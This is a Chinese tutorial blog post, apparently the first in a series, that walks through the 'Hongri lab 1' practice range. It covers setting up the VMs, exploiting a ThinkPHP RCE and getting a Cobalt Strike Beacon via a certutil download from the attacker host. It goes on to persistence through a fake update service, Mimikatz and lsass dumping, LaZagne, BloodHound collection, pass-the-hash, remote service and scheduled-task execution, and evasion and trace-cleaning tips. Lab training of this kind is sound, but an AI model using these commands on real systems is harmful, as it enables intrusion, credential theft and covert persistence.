内网横向渗透实战:从环境搭建到信息搜集的完整流程解析

📅 发布时间:2026/7/6 0:07:19 👁️ 浏览次数:
内网横向渗透实战:从环境搭建到信息搜集的完整流程解析
1. 项目概述一次完整的内网横向渗透实战演练最近在复盘内网渗透的知识体系发现很多朋友对理论概念很熟悉但一到实战就无从下手。这让我想起几年前自己刚接触内网时面对一个完整的靶场环境同样感到迷茫工具怎么用步骤怎么走遇到问题怎么排查为了系统地解决这个问题我决定以经典的“红日靶场1”为蓝本写一个从零开始的实战全流程系列。这个系列的目标很明确不讲空泛的理论只做能“抄作业”的实操。我会把每一步的操作、背后的思路、踩过的坑都掰开揉碎了讲清楚让你能跟着做一遍真正理解内网横向渗透的完整链条。今天这篇是系列的第一篇我们聚焦在最基础也是最关键的起点环境搭建与信息搜集。很多人觉得环境搭建就是点几下鼠标信息搜集就是跑几个脚本其实远不止于此。一个稳定、可控的靶场环境是后续所有复杂操作的基础而细致入微的信息搜集则是决定渗透能否成功的关键。我会带你从零开始在VMware里部署红日靶场1的三台靶机Win7、Win2003、Win2008配置好攻击机Kali然后使用Cobalt Strike后文简称CS上线Web服务器并完成第一轮深入的信息搜集。整个过程我会详细到每一个命令、每一个配置参数并解释为什么要这么做以及如果出错了该怎么排查。2. 靶场环境搭建与网络拓扑解析2.1 靶场镜像获取与虚拟机配置红日靶场1的镜像在网上很容易找到通常是一个压缩包解压后包含三台虚拟机的OVA或VMDK文件一台Windows 7通常作为Web服务器也是我们最初的突破口、一台Windows Server 2003内网应用服务器、一台Windows Server 2008域控制器。我的建议是永远从可信的源获取靶场镜像下载后务必校验MD5或SHA1值确保文件完整性避免镜像本身被植入后门。拿到镜像后我们使用VMware Workstation Pro进行导入。这里有几个关键配置点直接影响后续渗透的成败网络适配器设置这是最核心的一步。我们需要构建一个模拟真实内网的环境。通常的配置是Win7Web服务器配置两张网卡。VMnet1仅主机模式这张网卡用于连接内网IP地址由内网的DHCP服务器通常是域控制器分配例如192.168.52.0/24网段。VMnet8NAT模式这张网卡用于对外提供Web服务并允许我们的攻击机Kali从外部访问。我们需要将其IP设置为一个固定的、与Kali攻击机同网段的地址例如192.168.111.0/24网段并手动设置Win7的这张网卡IP为192.168.111.128。Win2003 Win2008内网服务器只配置一张网卡连接到VMnet1仅主机模式使其完全处于内网环境无法直接从外部互联网访问。Kali攻击机配置一张网卡连接到VMnet8NAT模式确保其能与Win7的对外网卡192.168.111.128通信。虚拟机内存与性能三台Windows靶机同时运行对宿主机的内存有一定要求。建议分配Win72GB、Win20031GB、Win20082GB。如果宿主机内存紧张可以适当调低但不要低于1GB否则系统会非常卡顿影响实验体验。快照管理在每台靶机刚导入、尚未进行任何操作时立即创建一个纯净快照命名为“Initial State”。在后续渗透练习中我们会频繁进行还原操作。养成打快照的习惯能为你节省大量重复搭建环境的时间。注意VMware的虚拟网络编辑器需要提前配置好。确保VMnet1和VMnet8的子网地址与你的规划一致并且关闭了DHCP服务因为我们部分IP需要手动设置。VMnet1的网段如192.168.52.0就是我们的“内网”VMnet8的网段如192.168.111.0则是“外网”或“DMZ区”。2.2 攻击机Kali环境准备与工具检查我们的攻击机选择Kali Linux它集成了绝大多数我们需要的工具。但即便是Kali在开始前也需要做一些准备工作。首先更新系统并安装一些可能未预装但非常有用的工具sudo apt update sudo apt upgrade -y sudo apt install -y seclists gobuster powershell-empireseclists包含大量的字典文件用于目录爆破、密码爆破等。gobuster一个高效的目录/子域名爆破工具。powershell-empire一个后期渗透框架在某些场景下可以作为CS的补充。其次配置静态IP。虽然NAT模式通常由DHCP分配IP但为了稳定性我建议给Kali设置一个静态IP与Win7的对外IP在同一网段。编辑/etc/network/interfaces或使用nmcli命令将IP设置为如192.168.111.129/24网关为192.168.111.2通常是VMnet8的网关地址。最后也是最重要的准备Cobalt Strike。CS是一个商业化的渗透测试平台功能强大。你需要拥有合法的授权和客户端。将CS服务端部署在一台VPS上或者在本机运行都是常见做法。这里假设你在本机运行TeamServer仅用于学习确保网络隔离。启动TeamServer# 在CS目录下 ./teamserver 你的VPS_IP或本机在VMnet8的IP 连接密码 [/path/to/c2.profile] # 例如如果你的Kali在VMnet8的IP是192.168.111.129 ./teamserver 192.168.111.129 MySecretPassword123启动后在另一台机器或本机的图形界面下启动CS客户端连接到192.168.111.129:50050用户名为任意密码为MySecretPassword123。实操心得CS的TeamServer非常敏感绝对不要暴露在公网且使用弱密码。在本地虚拟机环境练习时也要养成好习惯。首次连接后先在CS里创建一个监听器Listener这是后续生成木马的基础。例如创建一个名为http_80的HTTP监听器绑定到Kali的192.168.111.129IP端口80。3. 初始突破Web服务探测与Cobalt Strike上线3.1 目标Web服务发现与漏洞扫描环境就绪后我们首先需要找到攻击入口。根据靶场设计Win7192.168.111.128对外提供了Web服务。第一步基础存活探测ping 192.168.111.128如果不通检查虚拟机网络配置、防火墙是否关闭靶场环境通常已关闭。通了之后用nmap进行端口扫描nmap -sS -sV -O -p- 192.168.111.128-sSSYN半开扫描速度快且相对隐蔽。-sV探测服务版本。-O探测操作系统。-p-扫描所有65535个端口。扫描结果很可能显示80端口开放运行着某个Web服务器如IIS、Apache。我们再用whatweb或浏览器简单访问一下识别具体的技术栈whatweb http://192.168.111.128假设我们发现它是一个基于PHP的网站可能使用了某个CMS如WordPress、ThinkPHP等。红日靶场1常被设计为存在已知漏洞的应用比如ThinkPHP的RCE漏洞。第二步针对性漏洞探测。如果我们通过页面特征或扫描结果怀疑是ThinkPHP可以使用专门的漏洞验证工具或手工测试。例如对于ThinkPHP 5.x的RCE可以尝试访问特定路径http://192.168.111.128/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1如果页面返回了phpinfo的信息说明存在漏洞。这一步的目的不是直接getshell而是确认漏洞的存在性为后续生成精准的利用载荷做准备。3.2 生成并投递Cobalt Strike木马确认漏洞可利用后我们需要一个木马Payload来获得一个反向Shell。这里就是Cobalt Strike大显身手的地方。相比MSFVenom生成的独立木马CS的Beacon功能更强大支持异步通信、多种协议、内网穿透等。生成Payload在CS客户端中点击Attack-Packages-Windows Executable (S)。这里选择Windows Executable而不是Windows Executable (Stageless)。两者的区别在于StagedS生成一个体积很小的第一阶段加载器Stager负责连接CS下载完整的Beacon阶段Stageless Payload。更适合通过大小受限的漏洞利用进行投递。Stageless生成一个包含完整Beacon的独立可执行文件体积较大但更稳定。 由于我们通过Web漏洞上传或执行命令通常有大小和字符限制所以优先选择Staged方式。在生成时选择我们之前创建的http_80监听器。投递与执行将生成的.exe文件例如payload.exe上传到目标服务器。利用我们发现的RCE漏洞执行命令。例如通过漏洞执行http://192.168.111.128/...漏洞利用点...vars[0]systemvars[1][]certutil -urlcache -split -f http://192.168.111.129/payload.exe C:\\Windows\\Temp\\payload.exe这条命令利用Windows自带的certutil工具从我们的攻击机192.168.111.129下载payload.exe到目标临时目录。然后再执行一次RCE命令来运行它...vars[0]systemvars[1][]C:\\Windows\\Temp\\payload.exe会话上线如果一切顺利几秒钟后你会在CS的Beacons界面看到一个新的会话上线显示目标机的IP、用户名、权限等信息。右键该会话选择Interact就可以打开一个交互式的Beacon控制台。踩坑记录这一步最容易出问题的地方是防火墙和杀毒软件。靶场环境通常已关闭但真实环境复杂得多。如果木马无法执行或上线首先检查目标进程是否启动通过RCE执行tasklist | findstr payload其次在攻击机用tcpdump或Wireshark抓包看是否有向监听器IP192.168.111.129:80发起的HTTP请求。如果没有可能是Payload被杀需要尝试编码、混淆或使用其他加载技术。4. 立足点加固与初步信息搜集拿到第一个Beacon会话只是万里长征第一步。这个会话可能不稳定例如是IIS的www-data权限我们需要先巩固这个立足点。4.1 权限提升与持久化首先检查当前权限。在Beacon控制台输入getuid。如果显示的不是NT AUTHORITY\SYSTEM或管理员权限我们需要提权。可以尝试CS内置的elevate模块或者上传一些提权检查脚本如WinPEAS或PowerUp.ps1。通过Beacon的upload功能上传WinPEAS.bat然后使用execute或shell命令运行它beacon upload /path/to/winpeas.bat beacon shell C:\\Windows\\Temp\\winpeas.bat C:\\Windows\\Temp\\out.txt beacon download C:\\Windows\\Temp\\out.txt分析输出的out.txt文件寻找系统配置错误、弱服务权限、未打补丁的漏洞等提权线索。红日靶场1通常设计有简单的提权路径比如利用AlwaysInstallElevated配置、服务路径空格漏洞等。提权成功后考虑持久化。CS提供了多种持久化方式如注册表启动项、计划任务、服务等。对于Windows靶机创建一个服务是常见且相对隐蔽的方式beacon powershell New-Service -Name \WindowsUpdateService\ -BinaryPathName \C:\\Windows\\Temp\\payload.exe\ -StartupType Automatic beacon shell sc start WindowsUpdateService这样即使系统重启我们的Beacon也会随着这个“Windows更新服务”自动运行。4.2 主机层面信息搜集巩固立足点后开始系统性的信息搜集。信息搜集不是漫无目的地跑命令而是有层次、有目标地进行。我通常按照以下顺序系统信息beacon shell systeminfo beacon shell hostname beacon shell whoami /priv beacon shell net user beacon shell net localgroup administrators这些命令获取主机名、系统版本、补丁情况、当前用户、特权以及本地用户和组信息。特别关注补丁列表它能告诉你系统可能缺失哪些漏洞修复。网络信息beacon shell ipconfig /all beacon shell route print beacon shell arp -a beacon shell netstat -anoipconfig /all能看到所有网卡的详细配置确认我们之前网络拓扑的猜想发现内网网卡192.168.52.0/24。netstat -ano查看所有网络连接和监听端口寻找内部其他服务的线索。进程与服务beacon ps beacon shell tasklist /svc beacon shell sc queryCS内置的ps命令已经很好用。查看进程列表寻找杀毒软件、运维管理软件、数据库客户端等。服务列表也能提供类似信息。文件与目录探查beacon ls C:\\ beacon shell dir \C:\\Program Files\ /a beacon shell dir \C:\\Users\ /a浏览关键目录寻找配置文件如web.config、config.ini、数据库文件、备份文件、密码本等。Web根目录如C:\\inetpub\\wwwroot是重点。凭证搜集beacon mimikatz !sekurlsa::logonpasswords使用CS集成的Mimikatz功能尝试抓取内存中的明文密码、哈希和票据。这是内网横向移动的“弹药库”。注意在Windows 10/Server 2012及以上版本需要先提升到SYSTEM权限并且可能需要绕过LSA保护。4.3 网络拓扑与邻接主机发现现在我们知道目标Win7有两张网卡一张在192.168.111.0/24外一张在192.168.52.0/24内。我们的Beacon会话在外网卡上但目标是内网。我们需要以这台Win7为跳板探测内网。添加路由在CS中我们需要告诉Beacon通往192.168.52.0/24的流量应该走当前这个会话。右键已上线的Beacon选择Pivoting-SOCKS Server启动一个SOCKS代理。更直接的方式是使用socks命令并在View-Pivots中查看。但CS 4.0更推荐使用rportfwd或beacon的socks功能结合Proxy Pivots。更自动化的方法是使用arp扫描后自动添加路由。但作为基础篇我们先手动理解。实际上当我们用这个Beacon去访问192.168.52.0/24网段时CS会自动通过这个会话进行中转。内网主机发现我们以Win7为支点执行内网扫描。在Beacon中beacon powershell.exe -exec bypass -c \1..254 | % {\\\192.168.52.$_\\\} | Test-Connection -Count 1 -ErrorAction SilentlyContinue | where { $_.StatusCode -eq 0 } | Select-Object Address\这条PowerShell命令对192.168.52.1到192.168.52.254进行了一次快速的ICMP ping扫描并输出存活的主机。你也可以使用CS内置的net view或上传nmap的Windows版进行更全面扫描。扫描结果很可能发现另外两台靶机192.168.52.143Win2003和192.168.52.138Win2008域控。端口扫描与服务识别发现存活主机后下一步是扫描开放端口。我们可以通过Beacon将命令发送到Win7上执行但数据会通过Beacon通道返回速度较慢。这里可以上传一个轻量级的扫描工具如portqry.exe或者用PowerShell脚本。beacon upload /path/to/nmap-7.94-setup.exe beacon shell C:\\Windows\\Temp\\nmap-7.94-setup.exe /S beacon shell \C:\\Program Files (x86)\\Nmap\\nmap.exe\ -sS -p 1-1000 192.168.52.143假设对192.168.52.143Win2003的扫描显示开放了80端口Web、445端口SMB、3389端口RDP等。至此我们已经完成了环境搭建、初始突破、立足点巩固和初步的内网信息搜集。我们获得了一个稳定的、具有足够权限的CS Beacon会话在边界服务器Win7上并且摸清了内网的基本结构存在两台关键服务器一台是Win2003192.168.52.143一台是Win2008域控192.168.52.138。信息搜集的结果已经为我们绘制出了一张清晰的“攻击地图”。5. 深入信息搜集与攻击面分析初步扫描给了我们一个目标列表但真正的信息搜集远不止于发现IP和端口。我们需要深入分析每个潜在目标的攻击面为下一步的横向移动做准备。这就像侦察兵不仅要找到敌人的营地还要摸清他们的兵力部署、防御工事和换岗时间。5.1 针对特定主机的精细化扫描以192.168.52.143Win2003为例。我们知道它开了80和445端口。我们需要更详细的信息Web服务指纹识别通过Beacon代理我们可以使用攻击机上的工具去访问内网的Web服务。首先在CS中设置好代理如SOCKS4a然后在攻击机的浏览器或命令行工具中配置代理为127.0.0.1:端口。使用curl或nikto进行扫描# 在Kali上通过ProxyChains调用curl proxychains curl -v http://192.168.52.143 proxychains nikto -h http://192.168.52.143或者更直接地在Beacon中用shell调用Win7上的certutil或powershell来获取页面内容beacon shell curl http://192.168.52.143 -o C:\\Windows\\Temp\\page.html beacon download C:\\Windows\\Temp\\page.html分析下载的页面看是默认页面、特定应用如phpMyAdmin、Tomcat管理后台还是自定义网站。SMB服务枚举445端口是Windows文件共享和命名管道的入口是内网横向的黄金通道。我们可以枚举共享资源、用户、组等信息。beacon shell net view \\\\192.168.52.143 beacon shell net use \\\\192.168.52.143\\IPC$ /user:\\ \\尝试空连接或弱口令连接。还可以使用CS内置的smb模块或上传enum4linux的Windows兼容脚本进行深度枚举beacon upload /path/to/enum4linux.pl # 需要Perl环境或使用编译好的exe版 beacon shell perl C:\\Windows\\Temp\\enum4linux.pl -a 192.168.52.143枚举信息包括操作系统信息、共享列表、用户列表、组列表、密码策略等。RDP服务探测3389端口开放意味着可能通过远程桌面连接。我们可以检查网络级别身份验证NLA是否启用以及尝试爆破。但爆破风险大、速度慢。更好的方法是先收集可能的用户名从当前主机、共享枚举中获得再结合后续获取的密码哈希进行“哈希传递”或“票据传递”攻击。5.2 域环境信息搜集针对Win2008域控发现192.168.52.138是域控制器后信息搜集的重点就要转向整个Active Directory域。我们需要了解这个域的“地图”。基础域信息beacon shell net group \domain computers\ /domain beacon shell net group \domain admins\ /domain beacon shell net group \domain users\ /domain beacon shell net localgroup \administrators\ /domain这些命令列出域中的计算机、域管理员、域用户以及域中哪些用户是本地管理员。域管理员Domain Admins是我们的终极目标。用户与SPN枚举服务主体名称SPN是Kerberos身份验证中用于标识服务实例的唯一名称。枚举SPN可以帮助我们发现哪些账户运行了哪些服务如MSSQL、HTTP等是Kerberoasting攻击的前提。beacon powershell Get-NetUser -SPN | select samaccountname, serviceprincipalname需要提前在目标机器上导入PowerShell AD模块如PowerView或使用CS的powerview脚本。我们可以先上传PowerView.ps1到Win7然后通过Beacon加载执行。组策略与信任关系beacon shell gpresult /z C:\\Windows\\Temp\\gp.txt beacon download C:\\Windows\\Temp\\gp.txtgpresult可以获取应用到当前计算机和用户的组策略设置里面可能包含密码策略、软件部署、脚本路径等有用信息。此外还可以查询域之间的信任关系。BloodHound数据收集BloodHound是域渗透的神器它能通过图数据库直观展示域内用户、组、计算机之间的复杂关系并找出攻击路径。我们需要在跳板机Win7上运行数据收集器SharpHound.exe。beacon upload /path/to/SharpHound.exe beacon shell C:\\Windows\\Temp\\SharpHound.exe -c all --zipfilename loot.zip beacon download loot.zip将生成的loot.zip下载到攻击机然后导入到我们攻击机上的BloodHound界面中它会自动分析出从当前用户到域管理员的最短路径可能包括“强制身份验证”、“基于资源的约束委派”、“ACL滥用”等多种攻击方式。5.3 凭证与敏感信息深度挖掘信息搜集的另一条主线是“找钥匙”即各种凭证和敏感信息。浏览器凭证用户习惯在浏览器中保存各种密码。我们可以使用LaZagne或Mimikatz的dpapi模块来尝试解密。beacon upload /path/to/LaZagne.exe beacon shell C:\\Windows\\Temp\\LaZagne.exe browsers配置文件与文档手动或脚本化搜索特定关键词。beacon shell findstr /s /i /m \password\ *.config *.xml *.ini *.txt C:\\Users 2nul beacon shell findstr /s /i /m \sqlconnection\ *.config *.xml *.aspx C:\\inetpub 2nul这些命令在用户目录和Web目录下搜索包含“password”或“sqlconnection”字符串的文件可能会发现数据库连接字符串、API密钥等。注册表键值很多软件会把配置信息存在注册表里。beacon shell reg query \HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\ /v DefaultPassword beacon shell reg query \HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\ /s例如检查自动登录密码或者查询PuTTY保存的会话信息可能包含明文主机和用户名。内存转储与分析如果条件允许可以对关键进程如lsass.exe进行内存转储然后在本地用Mimikatz或Pypykatz进行分析这有时能抓到GUI登录后残留的明文密码。beacon procdump -ma lsass.exe C:\\Windows\\Temp\\lsass.dmp beacon download C:\\Windows\\Temp\\lsass.dmp # 在攻击机本地使用 mimikatz 分析 # mimikatz # sekurlsa::minidump lsass.dmp # mimikatz # sekurlsa::logonpasswords通过这一轮深入的信息搜集我们不再仅仅知道有哪些机器而是知道了每台机器上运行着什么服务攻击面域的结构如何哪些是高价值目标域管理员以及我们可能已经掌握了哪些“钥匙”凭证、哈希、票据。这些信息被系统地整理出来就构成了我们下一步横向移动的“作战计划”。例如BloodHound可能告诉我们当前我们控制的Win7上的某个服务账户对域内某台SQL服务器有“写入权限”而这台SQL服务器又以高权限运行那么我们就可以通过配置恶意DLL来进行提权。或者Mimikatz抓取到的哈希正好是某个内网服务器的本地管理员密码我们就可以直接进行“哈希传递”攻击。6. 横向移动的初步尝试与思路规划在掌握了详尽的信息之后我们就可以开始规划并尝试横向移动了。横向移动的手段繁多选择哪种取决于我们搜集到的“弹药”和目标的“防御”。6.1 利用明文密码或哈希进行横向移动这是最直接的方式。如果我们从Win7上抓取到了明文密码或者从内存中提取到了NTLM哈希并且知道内网其他主机的某个本地用户或域用户使用了相同的密码密码复用很常见我们就可以尝试。使用Cobalt Strike的psexec或psexec_pshCS内置了这些模块可以直接使用捕获的哈希进行认证。beacon jump psexec64 192.168.52.143 administrator HASHES你需要将HASHES替换为抓取到的管理员用户的NTLM哈希格式如aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。如果成功就会在目标192.168.52.143上生成一个新的Beacon会话。使用Mimikatz的Pass-The-Hash直接在当前Beacon中调用Mimikatz进行哈希传递。beacon mimikatz sekurlsa::pth /user:Administrator /domain:192.168.52.143 /ntlm:HASH_NTLM成功后会弹出一个新的具有目标机器上下文的管理员命令行窗口你可以在这个窗口里执行命令或者再用这个上下文去运行一个CS的Stager上线。使用wmiexec或smbexec这些是 Impacket 工具套件里的经典工具非常适合在已控机器上作为跳板使用。我们可以将对应的Python脚本上传到Win7或者通过CS的execute功能调用攻击机上的Impacket。beacon execute c:\\python27\\python.exe wmiexec.py -hashes :HASH_NTLM administrator192.168.52.143这需要目标机器上开放135和445端口并且WinRM服务可能也需要配置。6.2 利用漏洞进行横向移动如果密码复用这条路走不通或者我们没有抓到合适的哈希那么就需要寻找目标主机上存在的漏洞。MS17-010永恒之蓝对于未打补丁的Windows 7/2008/2008R2等系统这是一个经典的远程代码执行漏洞。我们可以使用MSF的exploit/windows/smb/ms17_010_eternalblue模块或者CS的eternalblue插件。首先需要确认目标是否漏洞。在CS中使用portscan或上传nmap脚本扫描beacon shell nmap --script smb-vuln-ms17-010 192.168.52.143如果存在漏洞可以直接在CS的Attack-Packages中选择对应的漏洞利用包或者通过jump命令调用。其他SMB/RDP漏洞如CVE-2019-0708BlueKeep影响Windows 7/2008。同样需要先检测后利用。红日靶场环境为了教学通常会保留一些经典漏洞。Web应用漏洞如果内网主机开放了Web服务如192.168.52.143:80是一个Tomcat管理后台我们可以尝试弱口令爆破admin/admin、已知漏洞如Tomcat WAR后门上传等。通过代理我们可以像攻击外网Web一样攻击它。6.3 利用服务与配置缺陷很多时候漏洞不在于代码而在于配置。不安全的文件共享如果net view发现了可写共享我们可以直接上传木马并计划任务执行。beacon copy C:\\Windows\\Temp\\payload.exe \\\\192.168.52.143\\C$\\Windows\\Temp\\payload.exe beacon shell sc \\\\192.168.52.143 create UpdateService binPath \C:\\Windows\\Temp\\payload.exe\ beacon shell sc \\\\192.168.52.143 start UpdateService计划任务如果拥有远程主机的管理员权限可以通过schtasks创建计划任务来执行Payload。beacon shell schtasks /create /s 192.168.52.143 /tn \MyTask\ /tr \C:\\Windows\\Temp\\payload.exe\ /sc once /st 00:00 /ru SYSTEM beacon shell schtasks /run /s 192.168.52.143 /tn \MyTask\WMI执行Windows Management Instrumentation 是强大的管理工具也可以用于远程执行命令。beacon shell wmic /node:192.168.52.143 process call create \C:\\Windows\\Temp\\payload.exe\6.4 横向移动中的隐蔽与对抗在真实的渗透测试或演练中蓝队防御方会有各种监控。我们的横向移动需要尽可能隐蔽。流量伪装使用CS的Malleable C2 Profile可以定义Beacon的通信流量使其模仿成正常的HTTPS流量、Google流量等绕过基于特征的IDS/IPS检测。避免敏感操作尽量减少直接使用psexec、wmic等会被EDR终端检测与响应软件标记为高危行为的操作。可以尝试使用“无文件”或“生活化”的方式比如通过注册表、服务DLL劫持、COM劫持等技术进行持久化和执行。时间控制在CS中设置Beacon的睡眠时间sleep和抖动jitter让通信行为看起来不那么规律。避免在业务高峰时段进行大规模扫描或爆破。清理痕迹横向移动成功后及时清理上传的工具、创建的临时文件、计划任务、服务等。在CS中可以使用timestomp修改文件时间戳使用shell del删除文件使用sc delete删除服务。规划横向移动路径时BloodHound的分析结果至关重要。它会给出诸如“从当前用户到域管理员的最短路径是UserA - 对ComputerB有本地管理员权限 - ComputerB上存在可滥用的服务账户 - 该服务账户是Domain Admins组的成员”这样的可视化路径。我们只需要按照这个路径一步步“打点”即可。例如BloodHound告诉我们我们当前控制的WIN7$计算机账户对SRV2003有WriteOwner权限可以修改某个对象的所有者。而这个对象可能是一个组修改所有者后我们可以将自己添加到该组该组对某台服务器有GenericAll权限最终通过约束委派拿到域管理员权限。这个过程涉及多个步骤每一步都需要特定的命令和操作但思路是清晰的。在红日靶场1的后续篇章中我们将具体实践这些横向移动方法从Win7跳转到Win2003再从Win2003跳转到Win2008域控最终获取域控制器的最高权限。每一步我都会结合具体的命令、可能遇到的问题以及如何排查来详细讲解把整个内网横向渗透的链条完整地串联起来。